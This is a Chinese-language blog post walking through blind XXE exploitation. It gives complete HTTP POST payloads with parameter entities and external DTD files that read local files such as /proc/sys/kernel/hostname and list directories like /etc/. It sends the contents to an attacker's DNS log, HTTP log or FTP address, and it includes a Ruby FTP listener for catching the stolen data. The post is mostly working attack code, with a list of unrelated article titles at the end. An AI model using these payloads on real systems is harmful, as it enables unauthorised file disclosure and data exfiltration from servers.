简单验证

POST /test HTTP/1.1
Content-Type: application/soap+xml
User-Agent: scanner
Accept: */*
Cache-Control: no-cache
Host: 域名
Content-Length: 142
Connection: close <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://dnslog">
%remote;]>
<root/>

接收信息以证明

XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。

要将信息发出来还需要再自己服务器上构造DTD。

1) 接收单行文件信息(主机名)

发送的POC
POST /test HTTP/1.1
Content-Type: application/soap+xml
User-Agent: scanner
Accept: */*
Cache-Control: no-cache
Host: 域名
Content-Length: 142
Connection: close <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://web服务器/cc.xml">
%remote;]>
<root/> cc.xml文件
<!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://%file;.dnslog地址/test'>">
%int;
%send; > 没错,就是取值符号加井号加37加分号 这个不太稳定,多发几遍。
发了几十遍出来了几次dns请求。
估计是在读文件拼接发请求处有什么拦截 这里怀疑/kernel/hostname文件中有转义字符、空格、换行符什么的,所以可能造成拼在域名中,无法发出dns信息。
所以用http log也挺好的
<!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://httplog地址/%file;'>">
%int;
%send;

2) 接收多行文件信息


发送的POC
POST /test HTTP/1.1
Content-Type: application/soap+xml
User-Agent: scanner
Accept: */*
Cache-Control: no-cache
Host: 域名
Content-Length: 142
Connection: close <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://web服务器/cc.xml">
%remote;]>
<root/> 二
cc.xml文件
<!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
<!ENTITY % int "<!ENTITY % send SYSTEM 'ftp://你的地址:33/%file;'>">
%int;
%send; 三
再再服务器上监听设定的端口(这里写的是33端口)
vi ftp.rb require 'socket'
server = TCPServer.new 33
loop do
Thread.start(server.accept) do |client|
print "New client connected\n"
data = ""
client.puts("220 xxe-ftp-server")
loop {
req = client.gets()
print "< "+req
if req.include? "USER"
client.puts("331 password please - version check")
else
#puts "> 230 more data please!"
client.puts("230 more data please!")
end
}
print "\n"
end
end ruby ftp.rb

列目录的DTD

把文件路径换成文件夹名就能列目录了

<!ENTITY % file SYSTEM "file:///etc/">
<!ENTITY % int "<!ENTITY % send SYSTEM 'ftp://你的地址:33/%file;'>">
%int;
%send;

helps

github监听脚本-ruby

xxe总结

XXE利用

最新文章

  1. testdb11b root.sh执行结果
  2. CPU与内存的关系
  3. Java中重点关键词的区分
  4. 嵌入式jetty的HTTP实现
  5. yii中上传图片及文件
  6. JavaScript的68个技巧一
  7. sql查询数据库表中重复记录方法
  8. poj 2833 The Average(堆)
  9. Android 检测是否连接蓝牙耳机
  10. QWidget QMainWindow QDialog 三个基类的区别
  11. handlebars.js模版引擎随记
  12. Windows Server 2008远程桌面默认端口更改方法
  13. diy 滚动条 样式 ---- 核心代码
  14. 计数排序与桶排序python实现
  15. Wireshark抓包实例诊断TCP连接问题
  16. Quartz小记(一):Elastic-Job - 分布式定时任务框架
  17. mycat分片操作
  18. Pronunciation – The Definitive Guide to the Top 100 Words in American English
  19. 2016NOI冬令营day0
  20. 打包dll发布到nuget服务器

热门文章

  1. R镜像源的切换
  2. 关于epoll,select,poll的理解
  3. jar 常用操作
  4. [转帖]Red Hat K8s 关键人物 Grant Shipley 跳槽到 VMware
  5. Spring Boot开启Druid数据库监控功能
  6. JDK1.8 的 HashMap 源码之文件注释
  7. 剑指offer55:链表中环的入口结点
  8. WUSTOJ 1320: 饭卡(Java)动态规划-背包
  9. Rubost PCA 优化
  10. 炫酷的可视化工具包——cufflinks